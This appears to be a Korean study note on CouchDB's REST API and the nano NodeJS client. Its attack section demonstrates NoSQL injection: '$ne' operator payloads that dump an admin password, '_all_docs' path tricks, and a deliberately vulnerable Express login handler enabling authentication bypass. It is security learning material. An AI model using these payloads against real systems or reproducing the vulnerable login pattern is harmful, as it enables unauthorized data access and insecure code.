[2025-07-20] CouchDB
🦥 본문
key-value 값을 데이터로 저장. JSON 객체 형태인 도큐먼트를 저장한다. HTTP 기반의 서버로 동작하며 REST API 형식으로 HTTP 메소드를 사용해 요청 받고 처리.
$ curl http://127.0.0.1:5984/
{"couchdb":"Welcome","version":"3.1.0","git_sha":"ff0feea20","uuid":"c7592f66bba3c6ebc38f0f4dcd374d68","features":["access-ready","partitioned","pluggable-storage-engines","reshard","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}
-
데이터 삽입
$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}' {"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}
-
데이터 조회
$ curl http://{username}:{password}@localhost:5984/users/guest {"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}
특수 구성 요소
_
문자로 시작하는 url 요소 및 JSON 필드
- Server
| 구성 요소 | 설명 |
| — | — |
| /
| 인스턴스에 대한 메타 정보를 반환합니다. |
| /_all_dbs
| 인스턴스의 데이터베이스 목록을 반환합니다. |
| /_utils
| 관리자 페이지(Fauxton Administration Interface)로 이동합니다. |
- Databases
구성 요소 | 설명 |
---|---|
/db |
지정한 데이터베이스에 대한 정보를 반환합니다. |
/{db}/_all_docs |
지정한 데이터베이스에 포함된 모든 도큐먼트를 반환합니다. |
/{db}/_find |
지정한 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환합니다. |
공격 기법
NodeJS에서 CouchDB를 사용할 때에는 nano
패키지를 사용. nano
패키지는 get
함수를 사용하여 조회, find
함수를 통해 데이터를 가져올 수 있다.
-
get
함수// { ..., get: getDoc, ...} // https://github.com/apache/couchdb-nano/blob/befbcd9972520faa8850c9425faeb324aab005f5/lib/nano.js#L543-L552 // http://docs.couchdb.org/en/latest/api/document/common.html#get--db-docid function getDoc (docName, qs0, callback0) { const { opts, callback } = getCallback(qs0, callback0) if (missing(docName)) { return callbackOrRejectError(callback) } return relax({ db: dbName, doc: docName, qs: opts }, callback) } // ... function relax (opts, callback) { // ... const req = { method: (opts.method || 'GET'), headers: headers, uri: cfg.url } // ... if (opts.db) { req.uri = urlResolveFix(req.uri, encodeURIComponent(opts.db)) } // ... if (opts.path) { req.uri += '/' + opts.path } else if (opts.doc) { if (!/^_design|_local/.test(opts.doc)) { // http://wiki.apache.org/couchdb/HTTP_Document_API#Naming.2FAddressing req.uri += '/' + encodeURIComponent(opts.doc) } else { // http://wiki.apache.org/couchdb/HTTP_Document_API#Document_IDs req.uri += '/' + opts.doc } // http://wiki.apache.org/couchdb/HTTP_Document_API#Attachments if (opts.att) { req.uri += '/' + opts.att } } // ... if (typeof callback === 'function') { // return nothing - feedback via the callback function httpAgent(req, responseHandler(req, opts, null, null, callback)) } else { // return a Promise return new Promise(function (resolve, reject) { httpAgent(req, responseHandler(req, opts, resolve, reject)) }) } } }
relax
함수의 21번째 줄을 보면 초기화 과정에서 할당된cfg.url
뒤에 DB 이름을 합치고 32번째 줄에서 입력받은doc
을 URL예 추가한다.-
_all_docs 페이지 접근 : 데이터베이스의 정보 조회
// 정상적인 요청 > require('nano')('http://{username}:{password}@localhost:5984').use('users').get('guest', function(err, result){ console.log('err: ', err, ',result: ', result) }) /* err: null ,result: { _id: 'guest', _rev: '1-22a458e50cf189b17d50eeb295231896', upw: 'guest' } */ //_all_docs 페이지 접근 > require('nano')('http://{username}:{password}@localhost:5984').use('users').get('_all_docs', function(err, result){ console.log('err: ', err, ',result: ', result) }) /* err: null ,result: { total_rows: 3, offset: 0, rows: [ { id: '0c1371b65480420e678d00c2770003f3', key: '0c1371b65480420e678d00c2770003f3', value: [Object] }, { id: '0c1371b65480420e678d00c277001712', key: '0c1371b65480420e678d00c277001712', value: [Object] }, { id: 'guest', key: 'guest', value: [Object] } ] } */
-
find
함수// https://github.com/apache/couchdb-nano/blob/befbcd9972520faa8850c9425faeb324aab005f5/lib/nano.js#L941-L952 function find (query, callback) { if (missing(query) || typeof query !== 'object') { return callbackOrRejectError(callback) } return relax({ db: dbName, path: '_find', method: 'POST', body: query }, callback) }
- 쿼리가 NULL인지와 객체 타입인지를 검사
-
연산자 공격 :
selector
안에서 연산자를 사용// 정상적인 요청 > require('nano')('http://{username}:{password}@localhost:5984').use('users').find({'selector': {'_id': 'guest', 'upw': 'guest'}}, function(err, result){ console.log('err: ', err, ',result: ', result) }) /* undefined err: null ,result: { docs: [ { _id: 'guest', _rev: '1-22a458e50cf189b17d50eeb295231896', upw: 'guest' } ], bookmark: 'g1AAAAA6eJzLYWBgYMpgSmHgKy5JLCrJTq2MT8lPzkzJBYqzppemFpeAJDlgkgjhLADZAxEP', warning: 'No matching index found, create an index to optimize query time.' } */ // 연산자를 포함한 공격 쿼리 전송 > require('nano')('http://{username}:{password}@localhost:5984').use('users').find({'selector': {'_id': 'admin', 'upw': {'$ne': ''}}}, function(err, result){ console.log('err: ', err, ',result: ', result) }) /* undefined err: null ,result: { docs: [ { _id: 'admin', _rev: '2-142ddb6e06fd298e86fa54f9b3b9d7f2', upw: 'secretpassword' } ], bookmark: 'g1AAAAA6eJzLYWBgYMpgSmHgKy5JLCrJTq2MT8lPzkzJBYqzJqbkZuaBJDlgkgjhLADVNBDR', warning: 'No matching index found, create an index to optimize query time.' } */
-
기타 공격 방법
const express = require('express'); const session = require('express-session'); const app = express(); app.use(express.json()); app.use(express.urlencoded({extended: false})); app.use(session({'secret': 'secret'})); const nano = require('nano')('http://{username}:{password}@localhost:5984'); const users = nano.db.use('users'); // { _id: 'admin', _rev: '1-22a458e50cf189b17d50eeb295231896', upw: '**secret**' } app.post('/auth', function(req, res) { users.get(req.body.uid, function(err, result) { if (err) { res.send('error'); return; } if (result.upw === req.body.upw) { req.session.auth = true; res.send('success'); } else { res.send('fail'); } }); }); const server = app.listen(3000, function() { console.log('app.listen'); });
- uid에 해당하는 데이터 조회하고 로그인 실패 시 에러 발생하는 코드
-
_all_docs를 이용한 인증 우회 : uid에 _all_docs 입력하고 upw는 입력하지 않음
$ curl -i http://{username}:{password}@localhost:5984/users/_all_docs HTTP/1.1 200 OK Cache-Control: must-revalidate Content-Type: application/json Date: Tue, 19 May 2020 17:24:32 GMT Server: CouchDB/3.1.0 (Erlang OTP/20) Transfer-Encoding: chunked X-Couch-Request-ID: 43c8ca548f X-CouchDB-Body-Time: 0 {"total_rows":1,"offset":0,"rows":[ {"id":"admin","key":"admin","value":{"rev":"2-142ddb6e06fd298e86fa54f9b3b9d7f2"}} ]}
Leave a comment